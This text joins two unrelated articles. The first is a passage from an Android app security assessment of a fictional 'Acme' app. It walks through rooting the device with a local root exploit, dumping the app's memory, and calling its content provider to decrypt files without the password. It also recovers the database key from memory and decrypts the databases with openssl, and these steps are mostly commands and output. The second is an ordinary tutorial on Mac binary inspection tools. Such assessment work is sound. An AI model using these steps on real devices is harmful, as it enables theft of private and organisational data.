First upload the exploit to an area of the device that allows us write access:

[code]

    user@laptop:# ./adb push rageagainstthecage-arm5.bin /data/local/tmp/rageagainstthecage-arm5.bin 
    117 KB/s (5392 bytes in 0.044s) 
    
[/code]

Then log back into the shell, change to the exploit directory, make it
executable and run it:

[code]

    user@laptop:# ./adb shell 
    $ cd /data/local/tmp 
    $ chmod 0755 rageagainstthecage-arm5.bin 
    $ ./rageagainstthecage-arm5.bin 
    [*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C 
    
    [*] checking NPROC limit ... 
    [+] RLIMIT_NPROC={3319, 3319} 
    [*] Searching for adb ... 
    [+] Found adb as PID 7325 
    [*] Spawning children. Dont type anything and wait for reset! 
    ...
    [*] adb connection will be reset. restart adb server on desktop and re-login. 
    
[/code]

Re-login to device:

[code]

    user@laptop:# ./adb kill-server 
    user@laptop:# ./adb shell 
    * daemon not running. starting it now on port 5037 * 
    * daemon started successfully * 
    # 
    
[/code]

Find out what user level we’re running under:

[code]

    #id 
    uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)
    
[/code]

And we are now root, which makes things a little easier.

### Memory Dump

In Android the memory is exposed via procfs in /proc/pid/mem and having root
privileges means we can directly read and write the application’s memory and
even control flow of execution. The way to do this would be to attach to the
app process using ptrace and use /proc/pid/map to get the memory addresses to
access.

There is also another way to dump the memory of a process and it is already
built into Android. First we change the permissions on a directory so the dump
file can be written on the device:

[code]

    # chmod 777 /data/misc 
    
[/code]

Then we find the Process ID of our app \(from a fictional company I’ve named
Acme\):

[code]

    # ps 
    USER     PID   PPID  VSIZE  RSS     WCHAN    PC         NAME 
    root      1     0     344    252   c00ce65c 0000d2dc S /init 
    root      2     0     0      0     c0076e3c 00000000 S kthreadd 
    root      3     2     0      0     c0067fa8 00000000 S ksoftirqd/0 
    ...
    app_74    465   66    133776 42428 ffffffff afd0ebd8 S com.acme.android.afe 
    ...
    root      10679 1     3412   200   ffffffff 0000f474 S /sbin/adbd 
    root      10685 10679 744    328   c0065ce4 afd0e88c S /system/bin/sh 
    root      10689 10685 892    336   00000000 afd0d97c R ps 
    
[/code]

Then send a SIGUSR1 signal to the process which will cause it to dump its
memory:

[code]

    # kill -10 465 
    
[/code]

In the /data/misc directory we now have the dump file:

[code]

    heap-dump-tm1289007218-pid465.hprof 
    
[/code]

Now download it onto the laptop for analysis:

[code]

    user@laptop:# ./adb pull /data/misc/heap-dump-tm1289007218-pid465.hprof . 
    1109 KB/s (3656449 bytes in 3.217s) 
    
[/code]

This dump file can now be opened in a memory analysis tool such as MAT but I
just opened it in a HEX editor to see what it contained. I found that the
memory dump contained sensitive data from inside the locked app such as email
addresses, file names, server names and more.

A total of seven memory dumps were taken while analysing the app and in all
cases potentially sensitive data listed above was present. In two cases the
memory dumps also contained the clear text password used to unlock the app. In
one dump the password was present once and in the other it was present twice.
Although not consistent, when the password is present it could allow for
complete compromise of the data stored in app and access into the
organisation.

### Reverse Engineering the Code

Android applications are mostly Java based which makes it slightly easier than
normal to reverse the application code and can speed up analysis greatly. I
found some useful links about Android decompiling in a blog post by Jack
Mannino, so this part was pretty easy.

The following \(free\) tools were used:

  * Android SDK from Google
  * AXMLPrinter2.jar to decode Android’s binary XML format
  * dex2jar to convert Android format to regular jar files
  * JD \(Java Decompiler\)

First we get a copy of the app that is running on the device and copy to the
laptop using the Android Debug Bridge from the SDK:

[code]

    user@laptop:# ./adb pull /data/app/com.acme.android.afe-1.apk ./ 
    1325 KB/s (5601716 bytes in 4.125s)
    
[/code]

The apk file just downloaded is actually a zip file. After unzipping it we
convert the manifest file into a readable format:

[code]

    user@laptop:# java -jar ./AXMLPrinter2.jar AndroidManifest.xml >AndroidManifest.txt 
    
[/code]

The manifest contains interesting information like permissions, intent
filters, providers and lots more. There is one provider for the app I’m
looking at called FileProvider which I’ll come to later:

[code]

    <provider 
            android:name="com.acme.android.FileProvider" 
            android:authorities="com.acme.android.afe.FileProvider" 
            > 
    </provider>
[/code]

Back in the unzipped application package there is a classes.dex file which
contains all of the main code. First this needs to be converted into a jar:

[code]

    user@laptop:# ./dex2jar.sh classes.dex
    
[/code]

This creates classes.dex.dex2jar.jar which again can be unzipped to reveal the
compiled class files. These can now be opened up in JD, the Java Decompiler,
to reveal a fairly close representation of the original source code. This
analysis does not cover a detailed review of the code but on first glance I
could see some interesting things such as static salt values \(for
encryption\) and the method for decrypting files stored in the “sandbox” which
can be invoked from an external program.

### Copying the Application and Data

The app and data were extracted from the running device and migrated to a
virtual Android environment. No specific attack was kept in mind for this
experiment but one might conclude that it aids analysis by having the app
running in a virtual environment completely under the control of the hacker.
Although untested it may be possible to run and maintain the app from a PC
instead of a handheld, opening it up to new risks. With some further work it
may also enable an attacker to retain access to the system even when not in
possession of the device. Finally, the state can be continually reverted
meaning the app’s ability to lock/wipe itself after a number of failed
password attempts is rendered useless.

First I pushed the busybox application to the device which will make copying
easier. Then I set the path to busybox:

[code]

    user@laptop:# ./adb shell 
    # export PATH=/data/local/tmp:$PATH 
    
[/code]

Change to the data directory and then copy the application data to the SD Card

[code]

    # cd /data/data
    # busybox cp -R com.acme.android.afe /sdcard
    
[/code]

Copy the data from the SD Card to the laptop and then push it to the Android
emulator \(part of the free Android SDK\) which is running on the laptop:

[code]

    user@laptop:# ./adb push com.acme.android.afe /data/data/com.acme.android.afe
    
[/code]

Install the application package on the emulator:

[code]

    user@laptop:# ./adb install com.acme.android.afe-1.apk
    
[/code]

Launching the emulator I found the application ran fine.

### Manually Invoking User Interface Elements

Android applications contain “activities”. An activity in Android parlance is
a single focussed thing that a user can do and almost all activities interact
with the user. Generally speaking, an Activity usually has its own window so
that the user can interact with it.

The app I’m testing exposes a number of activities which can be enumerated
from a number of places. Firstly the manifest XML decoded earlier, then the
code that was decompiled and yet another great way is to query the Android
system itself. Android maintains package information like
Activity/Intent/Service/Provider in the PackageManagerService. You can query
the service information from an ADB shell like so:

[code]

    # dumpsys package > packages.txt
    
[/code]

The packages.txt file was copied onto the laptop and searched for
com.acme.android. The results showed activities such as:

[code]

    com.acme.android.SecurityPreferenceActivity: 
            com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity
    
[/code]

It is possible to manually launch such an activity from the ADB shell with the
following command:

[code]

    # am start -n com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity 
    Starting: Intent { cmp=com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity }
    
[/code]

The app will then try to switch to the Security Preferences screen. The hope
was that even though the app was locked it would allow us to navigate directly
to other screens. It seems the app was well implemented in this regard and
would only show the unlock screen and the password reset screen. All listed
activities were tried with the same result. The app included code in each
activity to check if it was in an “unlocked” state and if it wasn’t, it would
jump back to the lock screen. This technique could be used to find hidden
screens and jump around an application in a way the developer hasn’t
anticipated so it is good design that they checked for this. That said, it is
of course possible to modify the application in memory to get the unlocked
test to always return true, but I did not need to go that far in the end…

### Content Providers

There is no common storage area that all Android packages can access but it
does allow data sharing using content providers. This is how the app I’m
testing shares data with, for example, a PDF reader in order to allow the user
to view a PDF stored in the encrypted “sandbox”.

In the reverse engineering section we saw that the manifest file contained one
content provider called FileProvider. In the decompiled code I could see this
is used to decrypt files on the fly and serve them to external applications
when the user wants to view them. The next experiment will look to utilise
this function by manually invoking it to decrypt stored files.

The following test was conducted on the Android device with the security app
in a locked state:

Change directory to where the app stores encrypted files:

[code]

    # cd /data/data/com.acme.android.afe/files
    
[/code]

First we inspect the contents of one of the files to see if it is really
encrypted:

[code]

    # cat somefile
    (binary data displayed)
    
[/code]

The file appears to be encrypted. We run the command below with the intention
of launching the Android HTMLViewer and requesting the file through the app’s
content provider, which should decrypt it on the fly.

[code]

    # am start -a android.intent.action.VIEW -d content://com.acme.android.afe.FileProvider/files/somefile -t text -n com.android.htmlviewer/.HTMLViewerActivity 
    
    Starting: Intent { act=android.intent.action.VIEW dat=content://com.acme.android.afe.FileProvider/files/somefile typ=text cmp=com.android.htmlviewer/.HTMLViewerActivity }
    
[/code]

On the Android device the HTMLViewer pops up and we see that the attachment
has been decrypted while the app is locked without entering the password, and
then rendered successfully. It was found that the same process could be used
to decrypt any file stored by the app.

### Stealing the Key

When first started the app does not have access to the data. Entering the
password or performing the Reset Password activity decrypts the keys required
to access the databases and files. The software stores lots of juicy
information in encrypted SQLite databases such as contacts, configuration
settings, keys and potentially sensitive data from the organisation.

SQLite is the standard way for Android applications to store data and is
built-in, just like the iPhone. The standard SQLite on Android does not yet
offer encryption but there are a few implementations out there including one
from the makers of SQLite themselves, for a fee.

The app uses Java Native Interface to hook into a natively compiled SQLite
library sitting in:

[code]

    /data/data/com.acme.android.afe/lib/libdb.so
    
[/code]

When the user enters the correct password the app initialises the database
session using this modified version of SQLite 3.

Analysis of the library shows that as well as SQLite it includes functions for
implementing AES encryption in CBC mode for transparently
encrypting/decrypting the database files. It was similar to the open source
encrypted SQLite offerings I found but not exactly the same. One similar thing
I found is that when calling the library to execute SQL statements the
application needs to set a PRAGMA value as:

[code]

    PRAGMA hexkey='<databasekey>'
    
[/code]

This database key is derived from decrypting \(using the user’s password or
reset password\) the key held in the file:

[code]

    /data/data/com.acme.android.afe/shared_prefs/prefs.xml
    
[/code]

The device under evaluation had the app running and in a locked state. As
shown in the Memory Dump section it was trivial to dump the memory of the
running process. In every single case the memory dump contained the database
key in clear text\! The key didn’t change between memory dumps even after
changing the password and rebooting the device. This really is the weak link.
With all the fancy encryption functionality it all came down to exposing the
database encryption key when calling the SQLite library and leaving it in
memory.

The database key was a hex encoded string of a 24 byte key \(i.e. 48 bytes\),
meaning that it was likely a 192bit AES key.

The app database files are held on the device in:

[code]

    /data/data/com.acme.android.afe/databases/
    
[/code]

The databases were copied to the Linux laptop and OpenSSL was then run to
decrypt the databases with the key from the memory dump. An “IV” should also
be supplied here but it appears one was not used so I set it to zero:

[code]

    user@laptop:# openssl aes-192-cbc -in someDB.db -out someDB.db.dec -K 0123456789ABCFEF0123456789ABCFEF0123456789ABCFEF -iv 0 -d 
    bad decrypt 
    26402:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:330: 
    
[/code]

There were some errors in the decryption, however when viewing the resulting
file the contents of previously encrypted content \(even content I thought I
had deleted\), keys, configuration and more were there in clear text.

At this point I stopped my evaluation as it was game over. Hope these tips and
tricks help you out.

# mikeash.com: Friday Q&A 2011-12-02: Object File Inspection Tools

**Created:**| _1/22/2012 7:35:37 PM_  
---|---  
**Updated:**| _1/22/2012 7:35:37 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

Friday Q&A 2011-12-02: Object File Inspection Tools

Being able to see all stages of your work can be immensely helpful when
debugging a problem. Although you can get a lot done only looking at the
source code and the app's behavior, some problems benefit immensely from being
able to inspect the preprocessed source code, the assembly output from the
compiler, or the final binary. It can also be handy to inspect other people's
binaries. Today, I want to talk about various tools you can use to inspect
binaries, both your own and other people's, a topic suggested by Carlton
Gibson.

**The Tools**  
Two of the tools I'm going to discuss today, `otool` and `nm`, come with
Xcode, so you probably already have them installed. The other two, `otx` and
`class-dump`, are third-party tools you'll have to obtain separately. You can
get `otx` here:

http://otx.osxninja.com/

Note that the prepackaged download is a bit old, and in particular doesn't
handle `x86_64` binaries, so the best way to get it is to check out the source
code from Subversion and build it yourself. You can get `class-dump` here:

http://www.codethecode.com/projects/class-dump/

Note that this will not be a _comprehensive_ guide to these tools, but rather
a tour of some of the more useful facilities that they offer.

**Sample App**  
In order to have something to inspect, I put together a sample application to
play with. Here is the code for that:

[code]

        // clang -framework Cocoa -fobjc-arc test.m
    
        #import <Cocoa/Cocoa.h>
    
    
        @interface MyClass : NSObject
        {
            NSString *_name;
            int _number;
        }
    
        - (id)initWithName: (NSString *)name number: (int)number;
    
        @property (strong) NSString *name;
        @property int number;
    
        @end
    
        @implementation MyClass
    
        @synthesize name = _name, number = _number;
    
        - (id)initWithName: (NSString *)name number: (int)number
        {
            if((self = [super init]))
            {
                _name = name;
                _number = number;
            }
            return self;
        }
    
        @end
    
        NSString *MyFunction(NSString *parameter)
        {
            NSString *string2 = [@"Prefix" stringByAppendingString: parameter];
            NSLog(@"%@", string2);
            return string2;
        }
    
        int main(int argc, char **argv)
        {
            @autoreleasepool
            {
                MyClass *obj = [[MyClass alloc] initWithName: @"name" number: 42];
                NSString *string = MyFunction([obj name]);
                NSLog(@"%@", string);
                return 0;
            }
        }
    
[/code]

**Library Paths**  
A common source of frustration on the Mac is debugging dynamic linker problems
when using embedded frameworks and libraries. The dynamic linker uses paths
stored in the various binaries to figure out where to find libraries. Being
able to inspect those binaries is extremely useful when debugging these
problems.

The `otool -L` command will show all of the libraries a binary links against,
as well as where those libraries are expected to be located at runtime. Here's
the output of `otool -L` on our sample app:

[code]

        $ otool -L a.out
        a.out:
            /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa (compatibility version 1.0.0, current version 17.0.0)
            /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.1.0)
            /usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
            /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 635.15.0)
            /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 833.20.0)
    
[/code]

We can see that it links against Cocoa, `libSystem` \(which contains the
standard C library, POSIX functions, and other common code\), `libobjc` \(the
Objective-C runtime\), CoreFoundation, and Foundation. We can also see exactly
where each one is expected to be when this app is run, as well as the version
of each library that was linked against.

This also works on libraries. Let's see what `libSystem` links against:

[code]

        $ otool -L libSystem.dylib 
        libSystem.dylib:
            /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.1.0)
            /usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
            /usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
            /usr/lib/system/libcompiler_rt.dylib (compatibility version 1.0.0, current version 6.0.0)
            /usr/lib/system/libcopyfile.dylib (compatibility version 1.0.0, current version 85.1.0)
            ...
    
[/code]

That's a lot of libraries\! I snipped out about twenty additional lines. We
can see that `libSystem` includes a _lot_ of functionality.

Note how the first line points back to `libSystem` itself. That's because each
library contains a reference to its own canonical path, referred to as the
"install name". For more details on what all these paths mean and how they
work, see my previous article, Linking and Install Names.

**Garbage Collection Support and Other Metadata**  
The `otool -o` command shows various Objective-C metadata, including, perhaps
most usefully on the Mac, the binary's garbage collection status. Let's
compile the test program with garbage collection and see what the output is:

[code]

        $ otool -o a.out
        a.out:
        Contents of (__DATA,__objc_classlist) section
        0000000100002080 0x10d2a52bf + 0x100002250
        Contents of (__DATA,__objc_classrefs) section
        0000000100002240 0x10d2a52bf + 0x100002250
        Contents of (__DATA,__objc_superrefs) section
        0000000100002248 0x10d2a52bf + 0x100002250
        Contents of (__DATA,__objc_msgrefs) section
          imp 0x0
          sel 0x100001de9 alloc
        Contents of (__DATA,__objc_imageinfo) section
          version 0
            flags 0x2 OBJC_IMAGE_SUPPORTS_GC
    
[/code]

The flags at the bottom show that this supports garbage collection. Let's re-
run it on the regular ARC version of the binary:

[code]

        ...
            flags 0x0
    
[/code]

This isn't something you need often, but it can be invaluable when you're
trying to track down why a library or plugin refuses to load. This
occasionally appears when using Xcode unit tests. The tests are loaded as a
plugin, and garbage collection capability mismatches can cause bizarre errors
there.

While we're at it, let's check out the output from `otool -l`, which is a more
generalized version of `otool -o` that dumps a lot more info. There's a
tremendous amount of output, so I won't print it all, but there are some
interesting bits.

Here, we can see the binary specify its dynamic linker:

[code]

        Load command 7
                  cmd LC_LOAD_DYLINKER
              cmdsize 32
                 name /usr/lib/dyld (offset 12)
    
[/code]

It seems that if one wanted to, one could write a different dynamic linker and
specify that one instead, although this would no doubt be a huge undertaking.

This section defines the minimum OS requirement:

[code]

        Load command 9
              cmd LC_VERSION_MIN_MACOSX
          cmdsize 16
          version 10.7
    
[/code]

Now you know what happens when you set that value in Xcode.

This one defines the full register state for when the app starts:

[code]

        Load command 10
                cmd LC_UNIXTHREAD
            cmdsize 184
             flavor x86_THREAD_STATE64
              count x86_THREAD_STATE64_COUNT
           rax  0x0000000000000000 rbx 0x0000000000000000 rcx  0x0000000000000000
           rdx  0x0000000000000000 rdi 0x0000000000000000 rsi  0x0000000000000000
           rbp  0x0000000000000000 rsp 0x0000000000000000 r8   0x0000000000000000
            r9  0x0000000000000000 r10 0x0000000000000000 r11  0x0000000000000000
           r12  0x0000000000000000 r13 0x0000000000000000 r14  0x0000000000000000
           r15  0x0000000000000000 rip 0x0000000100001880
        rflags  0x0000000000000000 cs  0x0000000000000000 fs   0x0000000000000000
            gs  0x0000000000000000
    
[/code]

You may have wondered, just what is the initial state of an executing program
when it first starts running? Well, now you know: the registers contain these
values. Or perhaps different ones, depending on what the linker put in there
when you built your app.

**Symbols**  
It's often useful to see exactly what symbols are present in a binary. The
`nm` command displays these. Here's the result of running `nm` on the test
app:

[code]

        0000000100001a90 t -[MyClass .cxx_destruct]
        00000001000018c0 t -[MyClass initWithName:number:]
        00000001000019c0 t -[MyClass name]
        0000000100001a40 t -[MyClass number]
        00000001000019f0 t -[MyClass setName:]
        0000000100001a60 t -[MyClass setNumber:]
        0000000100001ad0 T _MyFunction
                         U _NSLog
        0000000100002350 S _NXArgc
        0000000100002358 S _NXArgv
        0000000100002290 S _OBJC_CLASS_$_MyClass
                         U _OBJC_CLASS_$_NSObject
        00000001000022e0 S _OBJC_IVAR_$_MyClass._name
        00000001000022e8 S _OBJC_IVAR_$_MyClass._number
        00000001000022b8 S _OBJC_METACLASS_$_MyClass
                         U _OBJC_METACLASS_$_NSObject
                         U ___CFConstantStringClassReference
        0000000100002368 S ___progname
        0000000100000000 A __mh_execute_header
                         U __objc_empty_cache
                         U __objc_empty_vtable
        0000000100002360 S _environ
                         U _exit
        0000000100001b70 T _main
                         U _objc_autoreleasePoolPop
                         U _objc_autoreleasePoolPush
                         U _objc_autoreleaseReturnValue
                         U _objc_getProperty
                         U _objc_msgSend
                         U _objc_msgSendSuper2
                         U _objc_msgSend_fixup
                         U _objc_release
                         U _objc_retain
                         U _objc_retainAutoreleasedReturnValue
                         U _objc_setProperty
                         U _objc_storeStrong
        0000000100002000 s _pvars
                         U dyld_stub_binder
        0000000100001880 T start
    
[/code]

We get an interesting mix of obvious and less-obvious symbols. Most of the
`MyClass` symbols are methods we wrote. The `-[MyClass .cxx_destruct]` method
is generated by the compiler. It was originally intended for calling C++
destructors \(thus `cxx`\) but now serves double duty as the method where ARC
disposes of your strong instance variables.

The first column of the output is the address of the symbol, and the last
column is the name, but what's the second column? This is the symbol's type.
The symbols marked as `T` indicate symbols that are in the text section, which
is the strange name given to the section which contains the program's
executable code. The symbols marked as `t` are also in the text section, but
are not visible outside the binary where they're stored. Symbols marked `U`
are "undefined", which means that they are expected to be found in another
library when the program is run. If you look at this listing, you'll see that
all of the `U` symbols are functions and classes which come from Cocoa, the
Objective-C runtime, or `libSystem`. The `nm` man page has a complete listing
of what these type letters mean.

Examining the symbols in a library can be really useful for figuring out
linker errors. For this, we don't care about symbols which are local to the
library, only those which are visible to the outside world. The `nm -g` flag
filters out all local symbols, giving you a less cluttered list to examine
when tracking down these errors.

**Class Dumps**  
There's tons of useful information available, but some of it can be difficult
to decode. When you're trying to figure out the guts of some Objective-C code,
it can be nice to have all of the information presented in a more familiar
manner. Fortunately, there's enough metadata stored in the binary to allow
completely reconstructing an `@interface` of a class. The `class-dump` tool
does exactly that. Let's run this tool on the test app and see what it
produces \(block comments omitted for brevity\):

[code]

        $ class-dump a.out
        ...
        @interface MyClass : NSObject
        {
            NSString *_name;
            int _number;
        }
    
        @property int number; // @synthesize number=_number;
        @property(retain) NSString *name; // @synthesize name=_name;
        - (void).cxx_destruct;
        - (id)initWithName:(id)arg1 number:(int)arg2;
    
        @end
    
[/code]

There's the whole interface to our test class laid out in valid Objective-C.
Of course you don't get an `@implementation`, which would be much more
complicated. You also lose parameter names, but the descriptiveness of
Objective-C method names usually makes it clear enough what the parameters
are.

Dumping out your own code is not all that interesting. Running `class-dump
/System/Library/Frameworks/AppKit.framework/AppKit` produces much more
interesting results. Here's an amusing excerpt from the massive quantity of
data that results:

[code]

        @interface NSStopTouchingMeBox : NSBox
        {
            NSView *sibling1;
            NSView *sibling2;
            double offset;
        }
    
        - (id)initWithFrame:(struct CGRect)arg1;
        - (void)setSibling1:(id)arg1;
        - (void)setSibling2:(id)arg1;
        - (void)setFrameSize:(struct CGSize)arg1;
        - (void)setOffset:(double)arg1;
        - (void)tile;
        - (void)viewDidEndLiveResize;
    
        @end
    
[/code]

Of course, you should never ship code that uses the private classes and
methods that you'll discover, but it can still be very interesting and even
useful to see these internals.

**Disassembly**  
Now we finally reach the juicy part. That which separates the men from the
boys. Where few dare to tread. The howling darkness. The tangible substance of
earth's supreme terror. Abandon hope all ye who enter here.

Now that we've gotten rid of all the lightweights, let's proceed.

As you probably already know, compiled Objective-C code consists of machine
code. This is raw bytes that are executed directly by your computer's CPU.
It's extremely tedious to manually interpret.

Between Objective-C and machine code is assembly language. This is a low level
language which translates more or less directly to machine code, but is,
relatively speaking, much more readable. This translation goes both ways: you
can take machine code and turn it back into somewhat more readable assembly
code.

I don't plan to provide a comprehensive guide on reading and interpreting
assembly, but I will show how to obtain it and give a few handy pointers.

You can disassemble a binary using the `otool -tV` command. The `t` flag tells
`otool` to display the text segment \(where the code lives\), and the `V` flag
tells `otool` to disassemble it.

The output of `otool -tV` omits some useful data, however. For example, here's
a snippet from the disassembly of the test app's `main` function:

[code]

        0000000100001bdd    callq   0x100001c90 ; symbol stub for: _objc_msgSend
        0000000100001be2    movq    %rax,0xe8(%rbp)
        0000000100001be6    movq    0xe8(%rbp),%rax
        0000000100001bea    movq    0x0000066f(%rip),%rsi
        0000000100001bf1    movq    %rax,%rdi
        0000000100001bf4    callq   0x100001c90 ; symbol stub for: _objc_msgSend
    
[/code]

We can see two calls to `objc_msgSend`, the function that's used to send
Objective-C messages, but we can't really see any other information about
those calls. It turns out that for just about all message sends, it's usually
possible to figure out which selector was being sent as well, which is
tremendously useful.

Enter `otx`. This is a third-party wrapper around `otool` which adds better
annotations to the output, including Objective-C message send selectors.
Simply run `otx` on a binary \(after obtaining it from the site discussed at
the beginning of this article\) and out comes the disassembly, fully
annotated. I like to add the `-b` flag, which tells `otx` to add a blank line
between logical blocks of instructions, making it much easier to see the
structure of the code. Here's the above section of code disassembled by `otx`:

[code]

          +109  0000000100001bdd  e8ae000000                callq       0x100001c90                   -[%rdi initWithName:number:]
          +114  0000000100001be2  488945e8                  movq        %rax,0xe8(%rbp)
          +118  0000000100001be6  488b45e8                  movq        0xe8(%rbp),%rax
          +122  0000000100001bea  488b356f060000            movq        0x0000066f(%rip),%rsi         name
          +129  0000000100001bf1  4889c7                    movq        %rax,%rdi
          +132  0000000100001bf4  e897000000                callq       0x100001c90                   -[%rdi name]
    
[/code]

Now we can see the methods in question, not just the fact that a message send
is occurring. Instead of a relatively opaque disassembly like before, we can
now see that this section of code simply calls the initializer and then the
`name` accessor.

Let's check out the annotated disassembly of the `initWithName:number:`
method:

[code]

        -[MyClass initWithName:number:]:
            +0  00000001000018c0  55                        pushq       %rbp
            +1  00000001000018c1  4889e5                    movq        %rsp,%rbp
            +4  00000001000018c4  4883ec60                  subq        $0x60,%rsp
            +8  00000001000018c8  488d45f0                  leaq        0xf0(%rbp),%rax
           +12  00000001000018cc  4c8d45c8                  leaq        0xc8(%rbp),%r8
           +16  00000001000018d0  48897df0                  movq        %rdi,0xf0(%rbp)
           +20  00000001000018d4  488975e8                  movq        %rsi,0xe8(%rbp)
           +24  00000001000018d8  4889d7                    movq        %rdx,%rdi
           +27  00000001000018db  894dc0                    movl        %ecx,0xc0(%rbp)
           +30  00000001000018de  4c8945b8                  movq        %r8,0xb8(%rbp)
           +34  00000001000018e2  488945b0                  movq        %rax,0xb0(%rbp)
           +38  00000001000018e6  e8b7030000                callq       0x100001ca2                   _objc_retain
           +43  00000001000018eb  488945e0                  movq        %rax,0xe0(%rbp)
           +47  00000001000018ef  8b4dc0                    movl        0xc0(%rbp),%ecx
           +50  00000001000018f2  894ddc                    movl        %ecx,0xdc(%rbp)
           +53  00000001000018f5  488b45f0                  movq        0xf0(%rbp),%rax
           +57  00000001000018f9  48c745f000000000          movq        $0x00000000,0xf0(%rbp)
           +65  0000000100001901  488945c8                  movq        %rax,0xc8(%rbp)
           +69  0000000100001905  488b057c090000            movq        0x0000097c(%rip),%rax
           +76  000000010000190c  488945d0                  movq        %rax,0xd0(%rbp)
           +80  0000000100001910  488b3531090000            movq        0x00000931(%rip),%rsi         init
           +87  0000000100001917  488b7db8                  movq        0xb8(%rbp),%rdi
           +91  000000010000191b  e876030000                callq       0x100001c96                   -[[%rdi super] init]
           +96  0000000100001920  4889c2                    movq        %rax,%rdx
           +99  0000000100001923  488955f0                  movq        %rdx,0xf0(%rbp)
          +103  0000000100001927  488b55b0                  movq        0xb0(%rbp),%rdx
          +107  000000010000192b  4889c6                    movq        %rax,%rsi
          +110  000000010000192e  4889d7                    movq        %rdx,%rdi
          +113  0000000100001931  488945a8                  movq        %rax,0xa8(%rbp)
          +117  0000000100001935  e87a030000                callq       0x100001cb4                   _objc_storeStrong
          +122  000000010000193a  488b45a8                  movq        0xa8(%rbp),%rax
          +126  000000010000193e  483d00000000              cmpq        $0x00000000,%eax
          +132  0000000100001944  0f8430000000              je          0x10000197a                   return;
    
          +138  000000010000194a  488b45e0                  movq        0xe0(%rbp),%rax
          +142  000000010000194e  488b4df0                  movq        0xf0(%rbp),%rcx
          +146  0000000100001952  488b1587090000            movq        0x00000987(%rip),%rdx         _name
          +153  0000000100001959  4801ca                    addq        %rcx,%rdx
          +156  000000010000195c  4889d7                    movq        %rdx,%rdi
          +159  000000010000195f  4889c6                    movq        %rax,%rsi
          +162  0000000100001962  e84d030000                callq       0x100001cb4                   _objc_storeStrong
          +167  0000000100001967  448b45dc                  movl        0xdc(%rbp),%r8d
          +171  000000010000196b  488b45f0                  movq        0xf0(%rbp),%rax
          +175  000000010000196f  488b0d72090000            movq        0x00000972(%rip),%rcx         _number
          +182  0000000100001976  44890408                  movl        %r8d,(%rax,%rcx)
    
          +186  000000010000197a  488b45f0                  movq        0xf0(%rbp),%rax
          +190  000000010000197e  4889c7                    movq        %rax,%rdi
          +193  0000000100001981  e81c030000                callq       0x100001ca2                   _objc_retain
          +198  0000000100001986  488945f8                  movq        %rax,0xf8(%rbp)
          +202  000000010000198a  c745c401000000            movl        $0x00000001,0xc4(%rbp)
          +209  0000000100001991  488b45e0                  movq        0xe0(%rbp),%rax
          +213  0000000100001995  4889c7                    movq        %rax,%rdi
          +216  0000000100001998  e8ff020000                callq       0x100001c9c                   _objc_release
          +221  000000010000199d  488b45f0                  movq        0xf0(%rbp),%rax
          +225  00000001000019a1  4889c7                    movq        %rax,%rdi
          +228  00000001000019a4  e8f3020000                callq       0x100001c9c                   _objc_release
          +233  00000001000019a9  488b45f8                  movq        0xf8(%rbp),%rax
          +237  00000001000019ad  4883c460                  addq        $0x60,%rsp
          +241  00000001000019b1  5d                        popq        %rbp
          +242  00000001000019b2  c3                        ret
    
[/code]

There are a lot of stuff in here that would take quite a while to analyze, but
simply from looking at the annotations and basic control flow, we can still
see a lot. It's particularly interesting to examine code compiled with ARC,
since all of the extra memory management calls inserted by ARC show up in the
dump.

After the initial setup, this code calls `objc_retain`. Given the context, we
can deduce that this is a call to retain the `name` parameter, which ARC does
in order to ensure that the `name` object remains live even if subsequent code
zeroes out all other strong references to it. We can verify that it is indeed
the `name` parameter by looking at the `movq %rdx,%rdi` instruction a couple
of lines prior. `%rdx` contains the third parameter to a function, or the
first explicit Objective-C method parameter, which in this case is `name`.
`%rdi` contains the first parameter to a function. So this code moves `name`
into the spot where `objc_retain` will expect to find its parameter.

Next comes the call to `[super init]`. The annotation is a little confusing
here, but `-[[%rdi super] init]` means that a `super` call is being made with
the object stored in `%rdi` as the target of the call. In this case, we know
that's `self`, which should be the case for any `super` call.

After that, there's a call to `objc_storeStrong`. This one is a little
strange. After considerable investigation, it appears that this call is a
redundant assignment to `self` after the call to `super` completes, and after
the `=` assignment in the source code takes place. This call disappears when
the code is compiled with optimizations, so it seems to be bit of ARC
defensiveness that doesn't actually need to be there in this case.

Next, there's a compare and then a conditional jump. This is the `if`
statement. If the return value is `nil`, then control jumps down to the third
block of code, otherwise control continues with the second block of code. In
the second block of code, we can see the two instance variable assignments,
with the assignment to `_name` using a call to `objc_storeStrong` that's
actually useful this time. Since `_number` is just an `int`, it doesn't need
any fancy calls.

Finally, we do a bit of memory management and then return. There's a redundant
pair of `objc_retain`/`objc_release`, which again appears to be ARC
defensiveness leaking out \(and which also disappears under optimizations\),
an `objc_release` on the `name` parameter to balance the `objc_retain` at the
beginning of the function, and then control is returned to the caller.

Even without understanding the meaning and purpose of every single
instruction, we can still get a lot out of this dump. This can be incredibly
useful for checking into possible compiler bugs or figuring out how some Cocoa
method works on the inside.

**Conclusion**  
We've taken a tour of several different facilities for inspecting executables,
libraries, and plugins. Whether you're tracking down library paths, figuring
out missing symbols, or diving into the disassembly of a problematic method,
the developer tools \(and third parties\) provide ways to get a huge amount of
information. There's more out there as well, and this is just a sampling of
the parts I find most useful. Whenever you have a mysterious problem, don't be
afraid to dive in and figure out exactly what's happening underneath the
covers. Being able to inspect low-level information can often make the
difference between a frustratingly difficult bug and a trivial one.

That wraps things up for today. Friday Q&A relies on you, the reader, for a
steady supply of interesting subjects to discuss. If you have a topic that
you'd like to see written up, send it in\!

